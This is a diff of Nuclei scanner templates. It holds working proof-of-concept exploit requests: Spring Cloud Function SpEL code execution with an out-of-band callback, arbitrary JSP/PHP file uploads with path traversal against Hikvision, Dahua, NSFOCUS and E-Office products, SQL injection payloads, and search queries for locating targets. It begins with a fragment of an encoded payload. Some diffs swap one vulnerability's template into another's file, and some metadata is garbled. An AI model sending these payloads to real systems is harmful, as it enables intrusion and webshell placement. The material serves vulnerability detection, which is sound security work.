f2$96$fc$de$Z$96$e2d$c3$W$f1$b4$5c$cd$b3$hgz6$96$f7$ec$de$ff$c1$b3$c0$ca$J$ac$ca$a19$d0$c2$w$80$m$f5$7c$TY$5b$cd$5c$5cC$zO$dedQ$9d$a7$aee$d4u$O$b5Y$M$faO$60$7d$fc$E6$c4$83$e28Zsh$cba$e38$da$D$j9l$caas$O$9d$T$b8$89$e2$m$d7Jl$d7$c6P5w$M$VA$ff$E$b6$e4$d0$e50$Q$c5$97$85$ff$m$cfe$_$ae$9e$3c$b8$b8$ec$85$t$b2$f0la$8d$d9$D$99pYG$f0$earm$a5$a7$83$e9$p$I$d1$w$d0$c9O$cdZ$82$f9$84$f1E$84$ecZ$ccB$3d5$edZ$94S$dbV$90t$r$c9W$93$86$d9$84$ec$wh$84$f8$M$e6$e2$m$e6$e1$k$92$ba$9f$d0$7f$M$L$f0$M$W$e2$3c$Wq$d5X$ccu$e2Zn$L$96p$fb$b0$94$bb$h$cb$b8$a3$Iq$e7Q$e7$aa$40$bd$ab$92$90U$8b$88k9$9a$5c$x$b0$dc$b5$Ks$5d$eb$b0$c2$d5$86$h$5d$j$uqua$jy$b9$c6$b5$8d$feU$ed$b5$bb$ae$fc$o$aa9$k$L$b9K4$t$7c$f6$8e$c7$ed$3c$ee$a0$v$A$da$ca$d4d$b3x$f4s$X$f0$a4$3d$Yv$bc$84C$dby$uuR$c5$L$f0$bd$I$ef$r$g$3fn$5b$Q$f87$bc$ad$q$c3$e6y$82$d4$bb$a0$fe$H$d8$3e$ebc$Z$Q$A$A"}}} matchers: - type: word words: - - '{{randstr}}' + - "nt authority\\system" diff --git a/poc/remote_code_execution/spring-functions-rce.yaml b/poc/remote_code_execution/spring-functions-rce.yaml index f28360d6a7..d04177443d 100644 --- a/poc/remote_code_execution/spring-functions-rce.yaml +++ b/poc/remote_code_execution/spring-functions-rce.yaml @@ -1,44 +1,46 @@ id: CVE-2022-22963 info: - name: CVE-2022-22963 - Spring Cloud RCE - author: rdnt + name: Spring Cloud - Remote Code Execution + author: Mr-xn,Adam Crosser severity: critical - description: RCE on Spring cloud function SPEL - tags: cve,rce,spring,cve2022,injection + description: | + Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions are susceptible to remote code execution vulnerabilities. When using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources. + reference: + - https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f + - https://github.com/cckuailong/spring-cloud-function-SpEL-RCE + - https://tanzu.vmware.com/security/cve-2022-22963 + - https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/ + - https://github.com/vulhub/vulhub/tree/scf-spel/spring/spring-cloud-function-spel-injection + - https://nvd.nist.gov/vuln/detail/CVE-2022-22963 classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-22963 - cwe-id: CWE-770 + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-22963 + cwe-id: CWE-94 + tags: cve,cve2022,springcloud,rce requests: - - method: POST - path: - - "{{RootURL}}/functionRouter" - - "{{RootURL}}/api/functionRouter" - - "{{RootURL}}/api/v1/functionRouter" - - "{{RootURL}}/../../../../../../functionRouter" - - "{{RootURL}}/../../../../../../;functionRouter" - - "{{RootURL}}/spring/functionRouter" - - "{{RootURL}}/admin/functionRouter" - - "{{RootURL}}/../../../../../../../../functionRouter" - - "{{RootURL}}../../../../../../../../api/functionRouter" - - "{{RootURL}}../../../../../../../../api/v1/functionRouter" - - "{{RootURL}}%2f%2e%2e%2f%2e%2e%2ffunctionRouter" - - "{{RootURL}}%2fspring%2ffunctionRouter" - - "{{RootURL}}%2fadmin%2functionRouter" - headers: - spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("") - Content-Type: application/x-www-form-urlencoded - body: exp + - raw: + - | + POST /functionRouter HTTP/1.1 + Host: {{Hostname}} + spring.cloud.function.routing-expression: T(java.net.InetAddress).getByName("{{interactsh-url}}") + Content-Type: application/x-www-form-urlencoded + + {{rand_base(8)}} matchers-condition: and matchers: - - type: word - part: body - words: - - 'functionRouter' - - type: status - status: - - 500 \ No newline at end of file + - type: word + part: interactsh_protocol + words: + - "http" + - "dns" + condition: or + + - type: status + status: + - 500 + +# Enhanced by mp on 2022/05/19 diff --git a/poc/upload/Dahua_Video_FileUpload.yaml b/poc/upload/Dahua_Video_FileUpload.yaml index 78d89c1465..1af31ba824 100644 --- a/poc/upload/Dahua_Video_FileUpload.yaml +++ b/poc/upload/Dahua_Video_FileUpload.yaml @@ -1,29 +1,43 @@ id: Dahua info: - name: Dahua Smart Park Comprehensive Management Platform getFaceCapture SQL Injection Vulnerability + name: Dahua Smart Park Comprehensive Management Platform Video Arbitrary File Upload Vulnerability author: Zero Trust Security Attack and Defense Laboratory severity: high description: | - There is an SQL injection vulnerability in the getFaceCapture interface of Dahua Smart Park Comprehensive Management Platform, which allows attackers to execute arbitrary SQL statements and obtain sensitive database information through the vulnerability + There is an arbitrary file upload vulnerability in the video interface of Dahua Smart Park Comprehensive Management Platform, which allows attackers to upload arbitrary files to the server and control server permissions metadata: fofa-query: app="dahua-智慧园区综合管理平台" hunter-query: web.body="/WPMS/asset/lib/json2.js" +http: + - raw: + - | + POST /publishing/publishing/material/file/video HTTP/1.1 + Host: {{Hostname}} + User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 + Content-Length: 804 + Content-Type: multipart/form-data; boundary=dd8f988919484abab3816881c55272a7 + Accept-Encoding: gzip, deflate + Connection: close + --dd8f988919484abab3816881c55272a7 + Content-Disposition: form-data; name="Filedata"; filename="Test.jsp" -http: - - method: GET - path: - - "{{BaseURL}}/portal/services/carQuery/getFaceCapture/searchJson/%7B%7D/pageJson/%7B%22orderBy%22:%221%20and%201=updatexml(1,concat(0x7e,(select%20md5(1)),0x7e),1)--%22%7D/extend/%7B%7D" + Test + --dd8f988919484abab3816881c55272a7 + Content-Disposition: form-data; name="Submit" - matchers-condition: and + submit + --dd8f988919484abab3816881c55272a7-- + + req-condition: true matchers: - - type: word - part: body - words: - - "c4ca" + - type: dsl + dsl: + - 'status_code_1 == 200' + - 'contains(body_1, "success")' + - 'contains(body_1, "path")' + condition: and - - type: status - status: - - 500 +# /publishingImg/VIDEO/230812152005170200.jsp diff --git a/poc/upload/Hikvision_iVMS-8700_Fileupload_Files.yaml b/poc/upload/Hikvision_iVMS-8700_Fileupload_Files.yaml index cd961f6e81..538f6fd6d5 100644 --- a/poc/upload/Hikvision_iVMS-8700_Fileupload_Files.yaml +++ b/poc/upload/Hikvision_iVMS-8700_Fileupload_Files.yaml @@ -1,27 +1,35 @@ id: HiKVISION info: - name: HiKVISION Integrated Security Management Platform Env Information Leakage Vulnerability - author: zerZero Trust Security Attack and Defense Laboratoryo - severity: medium + name: HiKVISION Comprehensive Security Management Platform Files Arbitrary File Upload Vulnerability + author: Zero Trust Security Attack and Defense Laboratory + severity: high description: | - There is an information leakage vulnerability in the HIKVISION comprehensive security management platform, which allows attackers to obtain sensitive information such as environmental env for further attacks + HiKVISION comprehensive security management platform files interface has an arbitrary file upload vulnerability, allowing attackers to upload arbitrary files through the vulnerability metadata: - fofa-query: app="HIKVISION-综合安防管理平台" + fofa-query: app="HIKVISION-综合安防管理平台" || title=="综合安防管理平台" hunter-query: web.icon="3670cbb1369332b296ce44a94b7dd685" + http: - - method: GET - path: - - "{{BaseURL}}/artemis-portal/artemis/env" + - raw: + - | + POST /center/api/files;.html HTTP/1.1 + Host: {{Hostname}} + Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9PggsiM755PLa54a - matchers-condition: and - matchers: - - type: word - part: body - words: - - "profiles" + ------WebKitFormBoundary9PggsiM755PLa54a + Content-Disposition: form-data; name="file"; filename="../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/eportal/test.jsp" + Content-Type: application/zip + + <%out.print("test");%> - - type: status - status: - - 200 + ------WebKitFormBoundary9PggsiM755PLa54a-- + + req-condition: true + matchers: + - type: dsl + dsl: + - 'status_code_1 == 200' + - 'contains(body_1, "test.jsp")' + condition: and diff --git a/poc/upload/Hikvision_iVMS-8700_Fileupload_report.yaml b/poc/upload/Hikvision_iVMS-8700_Fileupload_report.yaml index e86e8491d1..cd961f6e81 100644 --- a/poc/upload/Hikvision_iVMS-8700_Fileupload_report.yaml +++ b/poc/upload/Hikvision_iVMS-8700_Fileupload_report.yaml @@ -1,40 +1,27 @@ id: HiKVISION info: - name: HiKVISION Comprehensive Security Management Platform Report Arbitrary File Upload Vulnerability - author: Zero Trust Security Attack and Defense Laboratory - severity: high + name: HiKVISION Integrated Security Management Platform Env Information Leakage Vulnerability + author: zerZero Trust Security Attack and Defense Laboratoryo + severity: medium description: | - There is an arbitrary file upload vulnerability in the HiKVISION comprehensive security management platform report interface. Attackers can upload arbitrary files and obtain server privileges by constructing special request packets + There is an information leakage vulnerability in the HIKVISION comprehensive security management platform, which allows attackers to obtain sensitive information such as environmental env for further attacks metadata: - fofa-query: app="HIKVISION-综合安防管理平台" || title=="综合安防管理平台" + fofa-query: app="HIKVISION-综合安防管理平台" hunter-query: web.icon="3670cbb1369332b296ce44a94b7dd685" http: - - raw: - - | - POST /svm/api/external/report HTTP/1.1 - Host: {{Hostname}} - Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9PggsiM755PLa54a + - method: GET + path: + - "{{BaseURL}}/artemis-portal/artemis/env" - ------WebKitFormBoundary9PggsiM755PLa54a - Content-Disposition: form-data; name="file"; filename="../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/eportal/test.jsp" - Content-Type: application/zip - - <%out.print("test");%> - - ------WebKitFormBoundary9PggsiM755PLa54a-- - - | - GET /portal/ui/login/..;/..;/test.jsp HTTP/1.1 - Host: {{Hostname}} - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 - - req-condition: true + matchers-condition: and matchers: - - type: dsl - dsl: - - 'status_code_1 == 200' - - 'contains(body_1, "data")' - - 'status_code_2 == 200' - - 'contains(body_2, "test")' - condition: and + - type: word + part: body + words: + - "profiles" + + - type: status + status: + - 200 diff --git a/poc/upload/Hikvision_iVMS-8700_upload_action.yaml b/poc/upload/Hikvision_iVMS-8700_upload_action.yaml index 7f081b05e0..7e328a8b1b 100644 --- a/poc/upload/Hikvision_iVMS-8700_upload_action.yaml +++ b/poc/upload/Hikvision_iVMS-8700_upload_action.yaml @@ -1,48 +1,50 @@ id: HIKVISION info: - name: HIKVISION iVMS-8700 Comprehensive Security Management Platform 1 upload Webshell file - author: Zero Trust Security Attack and Defense Laboratory + name: HHIKVISION iVMS-8700 upload Webshell file + author: zerZero Trust Security Attack and Defense Laboratory severity: high description: | - HIKVISION iVMS-8700 Comprehensive Security Management Platform 1 There is an arbitrary file upload vulnerability where attackers can control the server by sending specific request packets to upload Webshell files + HHIKVISION iVMS-8700 Comprehensive Security Management Platfor upload Webshell file metadata: fofa-query: icon_hash="-911494769" hunter-query: web.icon="3670cbb1369332b296ce44a94b7dd685" variables: - str1: '{{rand_base(6)}}' - str2: '{{rand_base(6)}}' - str3: '<%out.print("{{str2}}");%>' + str0: '{{BaseURL}}/eps/api/resourceOperations/uploadsecretKeyIbuilding' http: - raw: - | - POST /eps/resourceOperations/upload.action HTTP/1.1 + POST /eps/api/resourceOperations/upload?token={{toupper(md5(str0))}} HTTP/1.1 Host: {{Hostname}} - User-Agent: MicroMessenger - Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTJyhtTNqdMNLZLhj - - ------WebKitFormBoundaryTJyhtTNqdMNLZLhj - Content-Disposition: form-data; name="fileUploader";filename="{{str1}}.jsp" + User-Agent: Mozilla/5.0 (Android 3.2.5; Mobile; rv:51.0) Gecko/51.0 Firefox/51.0 + Accept-Encoding: gzip, deflate + Accept: */* + Connection: close + Content-Length: 184 + Content-Type: multipart/form-data; boundary=c4155aff43901a8b2a19a4641a5efa15 + + --c4155aff43901a8b2a19a4641a5efa15 + Content-Disposition: form-data; name="fileUploader"; filename="test.jsp" Content-Type: image/jpeg - {{str3}} - ------WebKitFormBoundaryTJyhtTNqdMNLZLhj-- + {{randstr}} + --c4155aff43901a8b2a19a4641a5efa15-- - | - GET /eps/upload/{{res_id}}.jsp HTTP/1.1 + GET /eps/upload/{{name}}.jsp HTTP/1.1 Host: {{Hostname}} extractors: - type: json - name: res_id + name: name json: - ".data.resourceUuid" internal: true matchers: - - type: dsl - dsl: - - body_2 == str2 + - type: word + words: + - '{{randstr}}' diff --git a/poc/upload/Nsfocus_NF_Firewall_FileUpload.yaml b/poc/upload/Nsfocus_NF_Firewall_FileUpload.yaml index b35ef84818..a8f9cbe173 100644 --- a/poc/upload/Nsfocus_NF_Firewall_FileUpload.yaml +++ b/poc/upload/Nsfocus_NF_Firewall_FileUpload.yaml @@ -1,49 +1,59 @@ id: Green-Alliance info: - name: Green Alliance SAS Fortress Exec Remote Command Execution Vulnerability + name: Green Alliance NF Next Generation Firewall Arbitrary File Upload Vulnerability author: Zero Trust Security Attack and Defense Laboratory severity: high description: | - Green Alliance SAS Fortress Exec Remote Command Execution Vulnerability + Green Alliance SSL VPN has an arbitrary file upload vulnerability, allowing attackers to obtain server privileges and execute remote commands by sending special request packets metadata: - fofa-query: body="'/needUsbkey.php?username='" - hunter-query: web.body="'/needUsbkey.php?username='" + fofa-query: app="NSFOCUS-下一代防火墙" + hunter-query: web.title="用户认证 - NSFOCUS NF" + http: - - method: GET - path: - - "{{BaseURL}}/webconf/Exec/index?cmd=id" + - raw: + - | + POST /api/v1/device/bugsInfo HTTP/1.1 + Host: {{Host}}:8081 + Content-Type: multipart/form-data; boundary=1d52ba2a11ad8a915eddab1a0e85acd9 + User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 + Content-Length: 238 + Accept-Encoding: gzip, deflate + Connection: close + + --1d52ba2a11ad8a915eddab1a0e85acd9 + Content-Disposition: form-data; name="file"; filename="sess_82c13f359d0dd8f51c29d658a9c8ac72" + + lang|s:52:"../../../../../../../../../../../../../../../../tmp/"; + --1d52ba2a11ad8a915eddab1a0e85acd9-- + + - | + POST /api/v1/device/bugsInfo HTTP/1.1 + Host: {{Host}}:8081 + Content-Type: multipart/form-data; boundary=4803b59d015026999b45993b1245f0ef + User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 + Content-Length: 217 + Accept-Encoding: gzip, deflate + Connection: close + + --4803b59d015026999b45993b1245f0ef + Content-Disposition: form-data; name="file"; filename="compose.php" + + + --4803b59d015026999b45993b1245f0ef-- + + - | + GET /mail/include/header_main.php HTTP/1.1 + Host: {{Host}}:4433 + User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 + Cookie: PHPSESSID_NF=82c13f359d0dd8f51c29d658a9c8ac72 - matchers-condition: and matchers: - - type: word - part: body - words: - - "200" - - - type: status - status: - - 200 - - -# http: -# - method: GET -# path: -# - "{{BaseURL}}/webconf/Exec/index?cmd=wget%20{{interactsh-url}}" - -# attack: clusterbomb -# matchers-condition: or -# matchers: -# - type: word -# part: interactsh_protocol -# name: http -# words: -# - "http" - -# - type: word -# part: interactsh_protocol -# name: dns -# words: -# - "dns" + - type: dsl + dsl: + - "status_code_1 == 200 && contains(body_1, 'upload file success')" + - "status_code_2 == 200 && contains(body_2, 'upload file success')" + - "status_code_3 == 200 && contains(body_3, '{{randstr}}')" + condition: and diff --git a/poc/upload/ecology_E-Office_Uploadify_FileUpload.yaml b/poc/upload/ecology_E-Office_Uploadify_FileUpload.yaml index aa02a4941d..8c93d2bd55 100644 --- a/poc/upload/ecology_E-Office_Uploadify_FileUpload.yaml +++ b/poc/upload/ecology_E-Office_Uploadify_FileUpload.yaml @@ -1,52 +1,39 @@ id: FanWei info: - name: FanWei Micro OA E-Office upload.php Arbitrary File Upload Vulnerability + name: FanWei Micro OA E-Office Uploadify Arbitrary File Upload Vulnerability author: Zero Trust Security Attack and Defense Laboratory severity: high description: | - FanWei E-Office uploads files in upload.php without strict filtering, which allows unrestricted file uploading. Attackers can directly obtain website permissions through this vulnerability + The pan micro OA E-Office uploads files in uploadify.php without strict filtering, which allows unrestricted file uploading. Attackers can directly obtain website permissions through this vulnerability metadata: fofa-query: app="泛微-EOffice" hunter-query: web.title="泛微软件" - -variables: - str1: '{{rand_base(6)}}' - str2: '{{rand_base(6)}}' - http: - raw: - | - POST /webservice/upload.php HTTP/1.1 - Host: {{Hostname}} - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36 - Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryakbyiukl - Accept-Encoding: gzip - Connection: close + POST /inc/jquery/uploadify/uploadify.php HTTP/1.1 + Host: {{Hostname}} + User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36 + Connection: close + Content-Length: 259 + Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4 + Accept-Encoding: gzip - ------WebKitFormBoundaryakbyiukl - Content-Disposition: form-data; name="file"; filename="a.php4" - Content-Type: application/octet-stream + --e64bdf16c554bbc109cecef6451c26a4 + Content-Disposition: form-data; name="Filedata"; filename="test.php" + Content-Type: image/jpeg - - ------WebKitFormBoundaryakbyiukl-- + - - | - GET /attachment/{{replace(name,"*","/")}}.php4 HTTP/1.1 - Host: {{Hostname}} - - extractors: - - type: regex - name: name - group: 1 - regex: - - '([/*0-9a-zA-Z]+)\.php4$' - internal: true + --e64bdf16c554bbc109cecef6451c26a4-- + req-condition: true matchers: - type: dsl dsl: - - body_2 == str2 - -# http://your-ip/attachment/回显的那串数字/a.php4 + - 'status_code_1 == 200 && len(body) > 0' + condition: and + +# /attachment/3466744850/xxx.php diff --git a/poc/upload/ecology_E-Office_upload.yaml b/poc/upload/ecology_E-Office_upload.yaml index aa02a4941d..4e7ede529c 100644 --- a/poc/upload/ecology_E-Office_upload.yaml +++ b/poc/upload/ecology_E-Office_upload.yaml @@ -1,52 +1,29 @@ id: FanWei + info: - name: FanWei Micro OA E-Office upload.php Arbitrary File Upload Vulnerability + name: FanWei HrmCareerApplyPerView SQL Injection Vulnerability author: Zero Trust Security Attack and Defense Laboratory severity: high description: | - FanWei E-Office uploads files in upload.php without strict filtering, which allows unrestricted file uploading. Attackers can directly obtain website permissions through this vulnerability + FanWei There is a HrmCareerApplyPerView SQL injection vulnerability that hackers can use to obtain sensitive information- metadata: - fofa-query: app="泛微-EOffice" - hunter-query: web.title="泛微软件" - + fofa-query: app="泛微-协同办公OA" + hunter-query: web.title="泛微-协同办公OA" -variables: - str1: '{{rand_base(6)}}' - str2: '{{rand_base(6)}}' http: - raw: - | - POST /webservice/upload.php HTTP/1.1 - Host: {{Hostname}} - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36 - Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryakbyiukl - Accept-Encoding: gzip - Connection: close - - ------WebKitFormBoundaryakbyiukl - Content-Disposition: form-data; name="file"; filename="a.php4" - Content-Type: application/octet-stream - - - ------WebKitFormBoundaryakbyiukl-- - - - | - GET /attachment/{{replace(name,"*","/")}}.php4 HTTP/1.1 - Host: {{Hostname}} - - extractors: - - type: regex - name: name - group: 1 - regex: - - '([/*0-9a-zA-Z]+)\.php4$' - internal: true + GET /pweb/careerapply/HrmCareerApplyPerView.jsp?id=1%20union%20select%201,2,sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%271%27)),db_name(1),5,6,7 HTTP/1.1 + Host: {{Hostname}} + User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML,like Gecko) + Accept-Encoding: gzip, deflate + Connection: close + req-condition: true matchers: - type: dsl dsl: - - body_2 == str2 - -# http://your-ip/attachment/回显的那串数字/a.php4 + - 'contains(body_1, "c4ca")' + condition: and diff --git a/poc/wordpress/wp-events-manager.yaml b/poc/wordpress/wp-events-manager.yaml new file mode 100644 index 0000000000..6f6bb9a48b --- /dev/null +++ b/poc/wordpress/wp-events-manager.yaml @@ -0,0 +1,59 @@ +id: wp-events-manager + +info: + name: > + WP Events Manager <= 2.1.11 - Authenticated (Subscriber+) Time-Based SQL Injection + author: topscoder + severity: low + description: > + + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/88dc08ff-3966-4606-855c-57c25552599e?source=api-scan + classification: + cvss-metrics: + cvss-score: + cve-id: + metadata: + fofa-query: "wp-content/plugins/wp-events-manager/" + google-query: inurl:"/wp-content/plugins/wp-events-manager/" + shodan-query: 'vuln:' + tags: cve,wordpress,wp-plugin,wp-events-manager,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/wp-events-manager/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "wp-events-manager" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.1.11') \ No newline at end of file